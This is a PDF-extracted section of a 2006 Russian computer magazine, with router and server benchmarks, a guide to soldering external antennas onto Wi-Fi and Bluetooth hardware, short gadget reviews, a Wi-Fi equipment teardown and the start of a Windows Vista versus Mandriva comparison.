конфиге создается двегруппы access list’ов, разрешающих любыесоединения из LAN в WAN, ICMP-трафикизвне и запрещающих все остальное; любоередактирование или добавление правилдоступно только через консоль);• DHCP (возможно поднять DHCP‐сервер,который будет автоматически раздавать IPадресаиз указанного пула, а также доменноеимя и адреса DNS‐серверов);• NAT (здесь настраивается соответствие внешнихпортов роутера внутренним IP-адресампользователей сети, так называемый Static PAT);xàêåð 12/96/ 06


ferrumПропускная способностьNAT+FirewallFDXLAN - WANWAN -LANNATRouting0 20 40 60 80 100 120Мбит/секСкоростные показатели всех типоввозможных соединений. Представленырезультаты при однонаправленной(WAN -> LAN и LAN -> WAN) и полнодуплексной(FDX) передаче• Routing (настройка статическоймаршрутизации);• Security (здесь предлагается ввести дополнительноеблокирование определенныхсервисов, включить детальное логированиесобытий и криптование паролей).Также в web-интерфейсе реализуется функцияобновления прошивки.Функциональные возможностиКак уже было сказано ранее, большаячасть настроек доступна исключительночерез консольный интерфейс. Роутерфункционирует под управлением полноценнойоперационной системы Cisco IOS.Находятся, правда, и «мертвые» команды,такие как, например, вход в меню настроекнесуществующих интерфейсов (CDMA-Ix,VIF) или конфигурирование неподдерживаемыхпротоколов (EIGRP, Frame-Relay).Однако если ты имел опыт работы с IOS,все будет знакомо и понятно. Такжек командам и процессу настройки в целомбудет нетрудно привыкнуть заядлымлинуксоидам.Теперь о том, что умеет «кошка». Встроенныйсвитч работает только на втором уровнемодели OSI. Для него доступны настройкивиртуальных сетей (VLAN) и определение до16‐ти очередей с различными приоритетами(Weighted Fair Queuing). Непосредственно трафикшейпинг доступен только для PPPoE‐соединения.На WAN-интерфейсе можнозадавать статический IP-адрес, подниматьPPPoE-клиент или IPSec-туннель. Также имеетсявозможность работать с туннелями L2TP,однако поддержка более распространенногоу нас PPTP отсутствует напрочь. Разумеется,есть полный набор таких необходимых вещей,как трансляция портов NAT (Static/Dynamic/PAT)и фильтрации нежелательного трафика наоснове фирменных Access List’ов.Методика тестированияНесмотря на то что данный девайс принадлежитк корпоративному сегменту рынка, гдебольшее значение имеет функциональностьжелеза, мы провели ряд стандартных замеровпроизводительности, для того чтобы понять,насколько «корпоративное» железо быстрееили медленнее «обычного».Для тестирования проводного сегментаиспользовался программный продукт NetIQChariot и скрипт Throughput с передачей паке-тов максимального объема. На двух станцияхустанавливались так называемые endpointпрограммы,затем в консоле NetIQ Chariotзапускался скрипт генерации трафика.По умолчанию девайс работает в режимечистой маршрутизации на третьем уровнемодели OSI без задействования NAT. Механизмработы в таком случае отличается тем,что роутер не изменяет заголовок IP-пакета,подставляя в него свой IP-адрес (как это63происходит в случае NAT), и, соответственно,тратит меньше процессорного времени наобработку каждого пакета. Следовательно,пропускная способность при таком раскладедолжна быть больше, нежели в случае с NAT.1. При тестировании режима «чистого роутинга»одна из станций подключалась к одномуиз портов свитча (интерфейс LAN), другая— к WAN-порту. Таким образом, мы получалипиковую пропускную способность дляWAN-интерфейса. Скорость тестироваласькак в режиме однонаправленной передачи(направления LAN -> WAN и WAN -> LAN), таки в режиме полного дуплекса (fdx).2. Следующим этапом тестирования сталзамер пропускной способности NAT. В настройкахроутера явно обозначались WAN-При полнодуплексной передаче в режиме NAT роутер «отдает предпочтение» трафику в направлении WAN -> LAN. Как видно на графике,он почти в 2,5 раза превышает трафик в направлении LAN -> WANxàêåð 12/96/ 06/021


ferrumНе отстают от всего вышеперечисленногои харды — в этом системнике мы обнаружилицелых 2 накопителя, причем совершенноразных: 750‐гигабайтный зверь от Seagateи малыш на 300 Гб производства WesternDigital.X-Com 2500Архитектура построения сервера по большомусчету не отличается от архитектуры в домашнихи офисных компах — компоненты используютсяпохожие, только гораздо более оптимизированныепод конкретные задачи. Вот и в этомнемаленьком, надежно защищенном со всехсторон корпусе мы обнаружили двухпроцессорнуюматеринскую плату Intel S5000PAL(чипсет Intel 5000P) и, соответственно, 2 камушкаIntel Xeon 5110 (частота — 1600 МГц).Архитектура, на которой построены процессоры,опять же обновленная — в серверномисполнении ядро называется Woodcrest.2 процессора, по 2 высокопроизводительныхядра в каждом — итого мы имеем фактическичетырехпроцессорную систему! Памятьс ними работает, само собой, не простая,а буферизованная и надежно защищеннаяот ошибок технологией ECC. Представленаэта красотища двумя гигабайтными модулямиKingston.Дисковая подсистема — один из основныхкомпонентов сервера — поразила нас большевсего. Целых 7 (!) жестких дисков Seagateбыли объединены в RAID-массив, обеспечивающийдоступное пространство в 750 Гб(сокращенный из‐за резервирования данных).Отдельно упомянем охлаждение. Как правило,для сервера это одна из важнейших составляющих— здесь первостепенны стабильностьи надежность, а не комфорт. Неудивительно,что система охлаждается целым массивомскоростных вентиляторов, воющих так, чтов комнате с сервером могут спокойно находитьсятолько самые выносливые. Отметим,что на процессорах установлены голые медныерадиаторы. Мощнейший поток воздуха отвентиляторов продувает их, а также стоящиеследом модули памяти и уже затем выводитсяиз корпуса.Если говорить о видеоподсистеме, то серверуX-Com похвастаться нечем: дело в том, чтотакой системе 3D-возможности ни к чему,а видеочипсет используется лишь для выводаизображения на экран монитора. В результатенам досталось простенькое интегрированноевидео ATI ES1000, работающее с 16‐битнойшиной памяти. Объем памяти — 16 Мб.В бой!Долго думав, чем бы занять наши «машинки»,мы составили наиболее адекватный, на нашвзгляд, набор тестов. 3D-задачи исключитьпришлось сразу. Если десктопная системас легкостью пережевывала любой скормленныйбенчмарк, а в играх была способна выдатьсотню FPS, то сервер не осиливал даже3DMark 2001 (не удивительно — возможности3D находятся на уровне видюх прошлоговека). В общем, решено было сделать упор насофт, чувствительный к связке «процессор— память» и дисковой подсистеме.В список вошли следующие проги: архиваторыWinRAR и 7‐Zip (многопоточный и однопоточныйрежимы), MP3‐кодек LAME (VBR, 697секунд), DivX (300 секунд), SuperPI. Крометого, делался общий тест системы комплексомPassMark PerformanceTest 6.0 (PCMarkне подходил по причине требовательностик видеоподсистеме), а также запускалисьбенчмарк памяти RightMark MemoryAnalyzer и профессиональный тест дисковH2BENCHW.РезультатыИтак, в процессорных тестах (архивация,SuperPI, кодирование аудио/видео) серверуне повезло — даже имея на борту 4 процессорныхядра, он не смог опередить куда болеедешевую домашнюю систему. А причина тосовсем близко! Просто-напросто не насталеще тот момент, когда количество станетценнее качества — 2 ядра с высокой частотойпрактически в любой распространеннойсофтине покажут более высокий результат,xàêåð 12/96/ 06/025


ferrumRead (


ferrum«ЗЕМЛЯ» — подпаять оплетку кабеляСергей Долин/ dlinyj@real.xakep.ru /Конденсатор, повернутый на 90сюда подпаивается центральная жила кабеляУсиление связиNzU1NzI4OjAxNjgzR2tqПодпаиваем внешнюю антеннуК нам на почту приходит очень много вопросов о том, как можно подпаять внешнюю антенну к Wi-Fi картеи адаптеру Bluetooth. Людей можно понять: кто‐то хочет организовать рассылку рекламы по Bluetooth,кому‐то при вардрайвинге не хватает мощи стандартной антеннки. Что же, спрашивали — отвечаем.PCMCI-карта1. Вскрываем пациентаВозьми карточку в руки и осмотри ее. Почти увсех карт визуально выделяется утолщеннаяпластиковая часть корпуса, под которой инаходится антенна. Однако не всегда естьвозможность культурно открыть этот пластиковыйотсек. В моем случае, например,это не получилось. Тут есть два пути. Первый— аккуратно прорезать по кругу пластик,чтобы можно было снять пластиковый кожух.Второй — разобрать металлическую частькорпуса, разогнув завольцованные стенкидевайса и подцепив один из краев тонкимножем. Я выбрал второй путь и, наверное,прогадал: раздраконить корпус мне в итоге,конечно, удалось, но он после этого пришелв полную негодность :). Так что тебе советуювооружиться дедушкиным ножовочным полотноми просто отрезать пластиковую частькорпуса.2. Перепайка конденсаторовЕсли посмотреть в район антенного блокана карте, можно легко увидеть внутреннююантенну: она выполнена как две буквы «О»:/ 028xàêåðпетлей. Рядом бросаются в глаза две незапаянныеконтактные площадки, созданныеспециально для того, чтобы подпаять кним внешнюю антенну. Но тут есть нюанc:плата изначально собрана для работы безвнешней антенны, и если ты внимательнопосмотришь, то заметишь, что от высокочастотногомодуля через конденсаторы(миниатюрные «кирпичики» на плате) идутдорожки к внутренним антеннам, а нашиконтактные площадки как будто висят ввоздухе. Для решения этой проблемуы надоперепаять конденсаторы: просто повернутьих на 90 градусов, чтобы сигнал через нихшел к контактным площадкам, куда мы припаяемвнешнюю антенну.3. Подпаиваем разъемПосле небольшой операции с конденсатораминужно припаять разъем для подключенияновой антенны. На большой фотографиирядом отмечены места, куда нужно припаиватьпровод. Там три контакта. Два внешних— земля, которая является оплеткой кабеля,и центральная жила волновода.Под руками у меня не было нового разъема,поэтому я решил просто оторвать провод сконнектором от разобранной в «Inside» точкидоступа :). В итоге получилось неплохо.4. Дырка для проводаПредпоследний шаг: нужно сделать отверстиев снятой пластиковой части корпуса,чтобы можно было вывести наружу проводс разъемом для подключения антенны.Проще всего это сделать при помощи дрели,либо тонкого круглого натфиля.5. Закрываем карточкуНа этом шаге у меня возникли серьезныепроблемы :). Измятые края металлическогокорпуса никак не хотели завольцовыватьсяобратно: металл вытянулся,изогнулся, и вернуть его первоначальноесостояние было очень проблематично.Поэтому я, честно говоря, забил на это:мы стали юзать карту без всякогокорпуса :). Тебе, еще раз повторю, советуюне вскрывать металлическую частькорпуса, а отпилить пластиковую,которую потом ты просто приклеишь наместо.12/96/ 06


www.oldi.ru


ferrumДля новичков, ни разуне державших в рукахпаяльник, или людей,предпочитающих отечественные«топоры»,будет очень сложноперепаять девайсы.Нужна паяльная станцияи хороший флюс :).Примечание Никитоса:первоклассные услугипо перепайке любыхустройств на безвозмезднойоснове предоставляетДлинный; пиши емув любое время!764256:n3WaId5FВысокочастотныеразъемыВообще говоря, существует несколько стандартов высокочастотногооборудования. Чтобы ты не запутался, мы решили привести тебе названияи фотографии всех стандартных разъемов.«ПАПА»N-type RP-SMA RP-TNC MMCX MCНа DVD лежит видеоролик,иллюстрирующийпроцесс перепайкиPCMCI-устройства иbluetooth-адаптера.«мама»Собранная синезубкаНа нашем диске лежитнесколько институтскихучебников в PDF повысокочастотной связи.Если интересно почитатьматематику этогодела — вперед :).Подпаянная антеннаМощный bluetoothС синим зубом все гораздо проще. Мы пошли вближайший магазин и за 600 рублей купили адаптерBluetooth 2.0. Через 30 минут мы уже тестили девайссо здоровой антенной, без проблем перекачиваяфайлы на расстоянии 100 метров. Единственная возможнаятут проблема — вскрыть устройство. Но длятаких крутых хакеров, как мы с тобой, это не задача.2. Подпайка антенныВнимательно осмотри плату на предмет наличия антенны.Как и в Wi-Fi карточке, антенна должна быть выполнена ввиде дорожки нестандартной формы на печатной плате.В моем случае это была окружность с точкой внутри. Делаемв корпусе отверстие под провод и подпаиваем центральнуюжилу кабеля к точке, а оплетку — к окружности.Чтобы было понятнее, посмотри на фотографию :).Опытные Wi-Fi извращенцы,подключаямощные анетенны собственногоизготовления,добиваются установлениясвязи на расстояниидо 35 километров./ 0301. Вскрытие корпусаГлавное — сразу понять, как он вскрывается :).Универсальных рецептов давать не буду в силусуществования множества модификаций корпусов.Внимательно изучив структуру заглушек, ты быстронайдешь способ вскрыть девайс при помощи обычногокухонного ножа. Кроме того, всегда есть запаснойхакерский вариант: просто разломать его на части.3. Сборка и тестПосле того как провод подпаян, нужно поместить плату наместо. Вполне вероятно, что собрать все как было у тебяне получится. Поэтому есть простой совет — приклейотвалившиеся части или залей термоклеем. Что касаетсятестирования, мы просто подключили одну их нашихантенн и провели разведку боем, которая показалакачественное повышение уровня сигнала.zxàêåð 12/96/ 06


ferrumсвежак30 $Billion Bipac 6600Широкополосный роутер с усиленными функциями безопасностиТехнические характеристики:Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100Мбит/секФункции роутера: NAT/NAPT, DMZ, DynDNS, Static RoutingФункции файрвола: SPI, Mac Filter, Packet Filter, Content FilterДополнительно: VPN Pass-Through+1. Внешне этот девайс выделяется своими сверхмалыми габаритамии футуристическим дизайном корпуса.2. Пропускная способность WAN-интерфейса в каждом направлениисоставляет 57,24 Мбит/сек, в полном дуплексе — 61,79 Мбит/сек.3. В настройках WAN-интерфейса доступны 3 режима работы: StaticIP, Dynamic IP (DHCP) и PPPoE. Возможность работы с PPTP-соединениямиотсутствует напрочь.4. Конфигурировать роутер можно как посредством web-интерфейса,так и через командную строку telnet.5. Управление через telnet очень специфично, требует знаний нестандартныхкоманд, поэтому оно вряд ли придется кому-то по душе.6. Расположение настроек в web-интерфейсе достаточно логичное.Также присутствует мастер быстрой настройки.-1. Настройки файрвола не позволяют создавать гибких правил фильтрациитрафика. Все, что можно задать, — это протокол фильтрации,а также диапазоны IP-адресов и портов локальных компьютеров, длякоторых применяется правило.2. Сканирование на уязвимости в Tenable Nessus не выявило серьезныхдырок в безопасности роутера. Однако со стороны WAN-интерфейсаостается доступным порт DNS-сервера.Oklick 580SКлава для любителей металлаТехнические характеристики:Подключение: USBМатериал корпуса: алюминийОсобенности: slim-дизайн, регулируется высота подъема+1. Эта клавиатура сразу бросается в глаза благодаря своему дизайнуи расцветке.2. Она плоская (модный slim-дизайн); все углы корпуса закруглены, аего серебряный цвет придает устройству дополнительный шарм.3. Такой облик позволяет разместить эту клавиатуру на столе рядомс другими устройствами хай-тековой внешности — выделяться на ихфоне она не будет. Или можно установить ее на почти пустом столе,чтобы она делила его пространство со сверхтонким ЖК-дисплеем.4. Несмотря на небольшие размеры девайса, все необходимые клавишина нем присутствуют.5. Корпус устройства сделан из алюминия, а не из пластика, так чтоможешь его ронять. Но не сильно.6. Высота подъема регулируется. В отличие от подавляющего большинстваподобных устройств, в этой клавиатуре ножки имеют не 2 положения(либо подняты, либо сложены), а много — можешь выбиратьименно то, которое будет удобно твоим пальцам.-1. Если ты работал с ноутбуками, то раскладка основной клавиатурыбудет тебе хорошо знакома. А если нет, то придется привыкать.2. Клавиши мягко и коротко нажимаются, но расположены очень близкодруг к другу, из-за чего можно промахнуться и задеть соседние./ 032xàêåð 12/96/ 06


ferrum203 $55 $Microlab FC360Колонки необычной расцветкиТехнические характеристики:Тип системы: 2.1+1Мощность RMS, Вт: 47Соотношение сигнал/шум, дБ: 65Материал корпуса: сабвуфер — дерево, сателлиты — пластикРазмер динамиков (сабвуфер, сателлиты), дм: 5,25Размеры сабвуфера, мм: 248х222х228,Размеры сателлитов, мм: 96х90х120Размеры усилителя, мм: 201х72х212Вес системы, кг: 7+1. Если ты догадываешься, что система 2.1 — это 2 сателлита и низкочастотныйблок, то тебя наверняка удивляет приставка «+1». Удивляет?Так знай: за этим обозначением скрывается усилитель.2. Звук вся система выдает довольно качественный и насыщенный.Немалую роль в этом играют как раз сабвуфер и усилитель.3. Помимо своей основной роли, усилитель служит местом сосредоточенияорганов управления всей системы и портов, необходимых дляподключения.4. Подключение возможно не только к компьютеру, но и, например, кDVD-плееру. Все — благодаря нескольким разъемам RCA.5. Габариты компонентов системы избавят от проблем с ее размещением.Небольшие сателлиты и усилитель поместятся на столе, аболее массивный, как ему и положено по званию, сабвуфер встанетна пол.6. В комплект поставки входят все необходимые кабели и русскоязычноеруководство пользователя.-1. Такой вариант цветового оформления предназначен для людей сочень тонким и специфическим чувством прекрасного. А кто еще поставитдома колонки, корпус которых черного цвета, а передний экран— малинового?GMC Noblesse AVC-M1Корпус с пультом ДУТехнические характеристики:Форм-фактор: MicroATXСлоты: 1x5,25 ext, 2x3,5 intПорты: 2xUSB, FireWire, mic, audioДополнительно: 2 вентилятора 80 ммРазмеры, мм: 136x360x356Вес, кг: 6,7+1. Пусть компьютерные маньяки, которые жить не могут без своегожелеза, ставят себе гигантские корпусы, засовывают в них мощныевидеоплаты, горящие процессоры и массивные системы охлаждениявсего этого барахла! «Мы за изящество и дизайн», — говорят те, ктоостановил выбор на корпусе GMC Noblesse AVC-M1!2. Форм-фактор изделия — MicroATX, поэтому много места он не займет,но и внутрь поместится только самое необходимое.3. Зато все, что нужно для создания домашнего мультимедиа-центра,у него есть.4. Корпус компактен, имеет стильный внешний вид, дополнительныеклавиши управления и информативный экран на передней панели.5. Также есть инфракрасный порт и пульт дистанционного управленияиз комплекта поставки, для которого имеются батарейки.6. Установлены 2 дополнительных вентилятора (каждый размером80 мм). Один расположен на передней панели, другой — на задней.7. Не существенная, но очень удобная деталь — крышка корпуса держитсяна винтах-барашках, так что отвертки не понадобится.-1. Внутри корпуса довольно просторно, но это потому что там пока ничегонет, только корзины для накопителей да провода для соединенияустройств передней панели и системной платы.test_lab выражает благодарность за предоставленное на тестирование оборудование компании MERLION (т.(495) 739-0959, www.merlion.ru),Nevada (т.(495) 101-2819, www.nevada.ru), а также российскому представительству компании Billion.xàêåð 12/96/ 06/033


insideЧто мы вскрылиКак ты догадался, сегодня наши плоскогубцы,Федор ПонаровскийБеспроводнаяанатомияотвертки, ножи и струбцины взялись за Wi-Fiоборудование.В лабораторных условиях мывскрыли пару клиентских wireless-карточеки одну точку доступа. Если говорить конкретнее,то мы раздраконили на части AP D-LinkDWL-2000AP+, PCMCI Wi-Fi-карту ZyXEL G-162,а также хитрую карту фирмы Asus, котораяпроизводилась на фирменной шине Wireless.Свой рассказ я начну с точки доступа.Разламываем на части Wi-Fi оборудованиеВо всем мире прямо сейчас десятки миллионов людей используют Wi-Fi. В Нью-Йорке банкир Джордж с ноутбука проверяет корпоративную почту, в Сингапурестудент Пси Йон Джи сдает экзамен при помощи КПК и закачанной в интернетшпаргалки. А в Москве в теплой пиццерии кардер Тимофей считает деньги банкираДжорджа, подрубаясь на халяву к инету через Яндекс.Wi-Fi. Все эти люди оченьдовольны жизнью и рады прекрасной технологии. Но им абсослютно все равно,как это работает. А нам с тобой — нет.6. ТрансформаторEthernet-адаптера1. Разъем внешнейантенны7. разъем miniPCIСюда вставляется сетевушка2. Внутренняя антеннаДублирует внешнюю28118. ResetКнопка сброса точки56 7101493764987:3icMPeaN123. ПроцессорЦентральный мозг девайса9. Микросхема AC101LQTКонтроллер Ethernet4. Блок питанияПонижает напряжениедо 3 вольт11. MX29LV800BTC-90Flash-диск объемом 2 Мб/ 0345. Разъем EthernetСлужит для подключения клокальной сети12. Wi-FI картаСтандарта 802.11B, производительD-Link10. МикросхемаK4S641632HОперативная память емкостью 64Мб, частота166 МГцxàêåð 12/96/ 06


insideТочка доступа = полноценный компСразу после того, как я вывернул последний винтиз корпуса точки доступа и снял верхнюю крышку,я проникся глубоким уважением к разработчикамэтого девайса. В скромной серой коробочке пряталсяполноценный компьютер с процессором,оперативной памятью, флешевым винтом, шинойminiPCI и 100 mbps Ethernet-контроллером.Не стоит удивляться, приятель, все очень логично.При производстве любого железа перед инженерамистоит цель сделать девайс как можнодешевле, а архитектуру устройства — простой ирасширяемой, чтобы можно было легко добавлятьразличную функциональность, ремонтироватьи обслуживать. В этом случае, совершеннопонятно — куда разумнее использовать набор ужеготовых микросхем и стандартов, чем изобретатьвелосипед.Внутренний блокпитания в точкедоступаИменно по этой причине большая часть всего«умного» сетевого оборудования — не что иное,как компактные компьютеры, обычно собранныена базе процессоров ARM и работающие подуправлением Linux.Флешка, память и БПНа системной плате точки смонтированы двемикросхемы. Первая (MX29LV800BTC-90) представляетсобой флешку объемом 2 Мб , к которойпримаунчена файловая система точки доступа.Там, соответственно, хранится ядро операционки,все системные приложения и настройки. Втораямикросхема K4S641632H — это 64 Мб оперативнойпамяти: туда загружается ядро, все работающиедемоны, приложения и т.д.Память питается от напряжения 3,3 В, в то времякак внешний адаптер преобразует переменные220 в постоянные 5 вольт. Чтобы решить этупроблему, на плате смонтирован импульсный БП,который выделяется на плате имеющими характерныйвид конденсаторами, катушкой индуктивностии транзисторами. Блок питания представляетсобой стандартную чопперную схему, котораяработет очкень просто. Она состоит из одного P-канального ключевого МОП-транзистора, управляемогомикроконтроллером через согласовывающийкаскад на биполярном NPN-транзисторе.Ключевой транзистор подключен к индуктивности,диоду и конденсатору. Если серьезно, то работаимпульсных блоков питания - это тема, достоянаяотдельной статьи. И ты обязательно ее увидишьскоро в нашем журнале.Софтовая частьMINIPCI карточка, при помощи которойAP организует беспроводную инфраструктуруЛюбое сложное сетевое устройстводолжно предоставлять пользователямудобный способ для удаленногоуправления. В нашем случае точка D-LinkDWL-2000AP+ поддерживает конфигурированиепри помощи SNMP (специальногопротокола для управления сетевымиустройствами), а также web-интерфейса.Рискну предположить, что по SNMP никтоиз домашних пользователей не будетизвращаться :).На точке под линуксом поднят целый наборсетевых сервисов: httpd, DHCP, natd,кеширующий DNS и т.д. В общем, все,что нужно для работы: web‐сервис припомощи конфигурационных приложенийпозволяет настраивать точку доступа,DHCP выдает клиентам ip-адреса, natdосуществляет трансляцию сетевых адресови т.д. — все, как в случае обычногоunix‐сервера.965736:b8d60fb8xàêåð 12/96/ 06764987:3icMPeaN/ 035


insideКлиентское оборудованиеЕсли рассматривать любую Wi-Fi карточку,то на ней легко можно выделитьдве логические части: высокочастотную(набор микросхем, преобразовывающихлогические сигналы спроцессора карточки в радиосигнал)и, собственно, процессор с сопутствующимичипами (они поддерживаютработу шины PCMCI и организуютпередачу данных между шиной и высокочастотнымблоком).Внутренняя антенна обычно представляетсобой дорожку на печтаной платеспециальной формы, которую обычновизуально легко обнаружить.311. Интерфейс PCMCIДля подключения к ноуту3. Микросхемы беспроводногоинтерфейсаСлужат для согласования шиныс высокочастотным модулем2. ВыскочастотныемикросхемыСлужат для преобразованияцифрового сигнала в радио инаоборот234. Внутренняя антеннаВыполнена в виде печатныхпроводников45254Разоблачение AsusВ тестлабе нам попалась интереснаяWi-Fi карточка Asus, которая былавыполнена на базе «фирменной шиныWireless». Было чертовски интересно,что же у нее там внутри. Вооружившисьплоскогубцами, мы вскрыликрасавицу и обнаружили… обычнуюMINIPCI карточку, смонтированнуюпрямо на плате :). То есть от хитроумныхножек «новой шины» разводкапрямиком шла на контакты обычнойMINIPCI карты, которую Asus, должнобыть, устанавливала в то время в своиноуты.На DVD лежит видео,иллюстрирующеепроцесс вскрытия Wi-Fiоборудования. Спешизаценить.5. Контактные площадкиСюда можно подпаять внешнююантенну138612:cf7769b3/ 036xàêåð 12/96/ 06


pc_zoneСтепан «Step» Ильин Денис Колисниченко/ step@gameland.ru / / dhsilabs@mail.ru /Windows Vistavs MandrivaКакую операционную систему пользователям выбрать в 2007 году?До окончательного релиза Windows Vista остается еще целый месяц, а пользователи уже вовсю кипятятся и флеймятпо поводу перехода на новую ось. Единого мнения по столь щепетильному вопросу, естественно, нет, и чтобыне погрязнуть в противоречивых отзывах, мы решили провести свое собственное расследование. Правда сравниватьновую ось с прежними разработками от Microsoft нам показалось неинтересно и скучно. Поэтому мы решилине обламываться и устроить смертельный бой, сравнив Windows Vista с ее реальным и очень грозным конкурентом— linux-дистрибутивом Mandriva 2007. Обе системы известны своей дружественностью к пользователю, обе толькотолькопоявились на свет и обе могут стать Системой 2007 года. Но кто стабильнее, функциональнее и красивее? Ктолучше?ПрофайлОС: Windows VistaПроизводитель: MicrosoftДата выхода: 30 ноября 2006 годаЛицензия: коммерческаяМинимальные системные требования (Vista Capable):800 МГц CPU; 512 Мб RAM; видеоадаптер 32 Мб, совместимый сDirectX 9; 15 Гб свободного местаРекомендуемые системные требования (Vista PremiumReady): 1 ГГц CPU; 1 Гб RAM; видеоадаптер 128 Мб, совместимыйс DirectX 9 и поддержкой технологий Hardware Pixel Shader v2.0 иWDDM; 15 Гб свободного местаОС: Mand riva Linux 2007Произв одитель: MandrivaДата выхода: 4 октября 2006 годаЛицензия: GPL (EULA для версии PowerPack)Минимальные системные требования:Intel Pentium/Xeon или AMD CPU, 256 Мб RAM,700 Mб HDD для минимальной установкиРекомендуемые системные требования:Intel Pentium/Xeon или AMD CPU, 512 Мб RAM,3 Гб HDD, 128 Мб видеоСистемные требованияWindows Vista:Решившись было почитать, что пишут оновой системе пользователи, я быстрооставил эту идею. Чего только не рассказываюто новой разработке Microsoft: укого‐то она запускается даже на самомскромном компьютере; другие, видимо,тестируя сырую бету, утверждают, чтосистема тормозит даже на навороченномкомпе с процессором Intel Pentium D 2,8 ГГци гигом оперативки. Но вот что я тебе скажу:ерунда это все! Во-первых, все зависитот того, что именно ты хочешь получитьот Windows Vista. Недаром системныетребования разделили на Vista Capable иVista Premium Ready. Если тебя интересуютсамые современные графические наворотыи прочие прелести интерфейса Aero Glass3D, то тебе конечно же придется проапгрейдитькомпьютер. Ведь возможности системыпозволяют сделать из рабочего стола нечтоневообразимое с огромнейшим количествомвсевозможных эффектов! С другойстороны, многим пользователям, включаяменя, все эти графические премудрости,мягко говоря, не нужны, а значит в навороченнойвидюхе нет никакой необходимости.Получается очень демократичный вариант,когда пользователь может выбрать: либоиспользовать потенциал современногооборудования и технологий (Hardware PixelShader v2.0 и WDDM), либо комфортно работатьбез излишних накруток. На старенькомPentium 4 1,6 A (разогнан до 2,4) с гигомоперативы (с меньшим количеством ОЗУработать сложно даже на XP) новая Vistaработает без скрипа и тормозов. Кто быни утверждал обратное, знай: проверено влаборатории «Х».xàêåð 12/96/ 06/037


pc_zoneДистрибутив Mandriva2007 мы обязательно выложимна наш DVD-дискMandriva Linux:Волноваться не о чем. Когда нужно установитьLinux, ты вообще не задумываешьсяо системных требованиях и тем более непроверяешь возможности своего компьютерас помощью специальных программ(для Висты такие есть). Все намного проще— любой дистрибутив отлично установитсядаже на средненькую машину. За примеромдалеко ходить не надо: Mandriva 2006 безпроблем встает на комп с Celeron 733 MГц и256 Mб оперативки, причем позволяет болееили менее комфортно работать, а не толькоустановить и созерцать себя. Конечно, дляполноценной работы и установки всевозможныхфишек интерфейса (ты волен самнайти и установить их, а не использовать то,что навязывают разработчики системы) потребуетсямашинка помощнее. Но с теми требованиями,которые предъявляются WindowsVista, никсы уж точно будут работать дажебез намека на тормоза. Кстати, если в арсеналеесть производительная видеокарта,то друзей ты и без винды сможешь удивить3D-эффектами в интерфейсе, понадобитсялишь Xgl (www.novell.com/linux/xglrelease)— специальная архитектура X‐сервера,использующая прорисовку OpenGL длясоздания умопомрачительных эффекты нарабочем столе.Совместимость с железомWindows Vista:При нынешнем распространении виндыпроблемы с совместимостью исключены впринципе. По-другому и быть не может, ведьлюбой производитель непременно комплектуетсвои девайсы с дровами для винды (иочень-очень редко для юникса). Мало того,в состав самой винды входит нехилый наборстандартных драйверов. Если раньше послеустановки Windows XP какие‐то драйверыприходилось инсталлировать, то теперьзачастую все работает по умолчанию.Правда размер дистрибутива увеличился исоставляет сейчас почти 4 Гб, но разве этокого‐то волнует?Mandriva Linux:Мы все привыкли, что в винде действуетмеханизм Plug’n’Play. Он все делает за нас,и единственное, что требуется, — это грамотноподключить устройство и вставить вDVD-ROM диск с драйверами. В Linux теперьвсе почти точно так же. При инициализациисистемы запускается программа (в Mandriva— harddrake2, в FC — kudzu), которая уверенноопределяет новые устройства, послечего самостоятельно вносит в файл/etc/modules.conf необходимые записи.Напомню, что в этом файле указываются модули(Windows-пользователям нужно читатьэто слово как «драйверы») устройств, а такжедругие необходимые системе библиотеки.Причем в поставку дистрибутивов входитмножество готовых модулей, и есть всеоснования полагать, что твой TV-тюнер будетправильно определен автоматически. Длявсех остальных девайсов существуют специальныеконфигураторы, которые в процессесвоей работы определяют соответствующееустройство и устанавливают его в системе.Приятно, что в Linux сейчас никаких проблемс поддержкой и установкой устройств нет.Да, они были, но сейчас это в прошлом.УстановкаWindows Vista:Как и в предыдущих версиях винды, существует2 варианта установки: можно воспользоватьсязагрузчиком с DVD или же инсталлировать осьиз‐под существующей системы.И если в последнем случае ничего кардинальноне изменилось, то мастер установки системыс нуля был полностью переписан. Теперь этополноценная графическая система с понятными удобный интерфейсом и подробными комментариями,сопровождающими каждый шагпользователя. В общем, проблемы, по‐моему,исключены. Единственная сложность — дождаться,пока мастер сделает все необходимыедействия. Здесь комментарии излишни.Mandriva Linux:Раньше установить Linux на компьютер могтолько профессионал. Это было во времена,когда Linux поставлялся на двух дискетах:одна с ядром, а другая с корневой файловойсистемой. Появившиеся было дистрибутивыне особенно упрощали установку системы.Диск по‐прежнему приходилось переразбиватьвручную (да, инсталлятор запускалдля этого fdisk), к тому же переразметкадиска происходила с потерей данных.Сейчас же установить ту же Mandriva несложнее, а скорее, даже легче, чем Windows.Вставил диск, перезагрузился в графическуюоболочку, выбрал язык и раскладкуклавиатуры, разметил диск и выбрал пакетыдля установки — уже пол дела сделано.Подождал окончания копирования файлов,задал несколько параметров — и все, Linuxустановлен. Единственный совет: используйдистрибутивы на DVD-дисках, иначеуспеешь почувствовать себя диджеем, покаустановщик будет инсталлировать пакеты поочереди с 5‐6 дисков./ 038xàêåð 12/96/ 06


pc_zoneПанель управления: линукс можно полностью отконфигурироватьс помощью этой удобной графической оболочкиВот так выглядит рабочий стол KDE после установки,разве не прелесть?Мультимедиа и игрыWindows Vista:Что бы кто ни говорил, а в плане мультимедийнойстанции позиции Windows непоколебимы.В Vista даже появилась возможностьуправлять системой голосом, не говоря ужео таких мелочах, как стандартная программадля работы со звуком и записи DVD илиулучшенная панель управления звуком среализованной фичей изменения громкостикак для всей системы, так и для каждогоприложения в отдельности. DirectX 10, разработанныйспециально для Vista, включаетв себя столько инноваций, что одной статьине хватит, чтобы даже коротко пробежатьсяпо ним. Однако обещанное увеличениепроизводительности в 6 раз мы сможемощутить лишь в приложениях и девайсах,адаптированных под новую версию графическогоAPI. Но все тестируемые игрушки, втом числе Need for Speed: Carbon, работаютв Висте на ура.Mandriva Linux:Едва ли несколько лет назад Linux можнобыло использовать на домашнем компьютере.Виной тому — проблемы с русским,отсутствие игр, слабая поддержка звуковыхплат. Чего там говорить, если дажепросмотр видео зачастую оказывалсяневыполнимой задачей: то звука нет, то вылетаетнужных кодек. Но сейчас, особеннов последних дистрибутивах, с мультимедиаполный порядок. Определяются все видео- извуковые платы, удобные проигрыватели,проблем с кодеками нет. Помню, в Windowsне мог посмотреть фильм: было изображение,но не было звука, а в Linux всенормально! В состав дистрибутивов 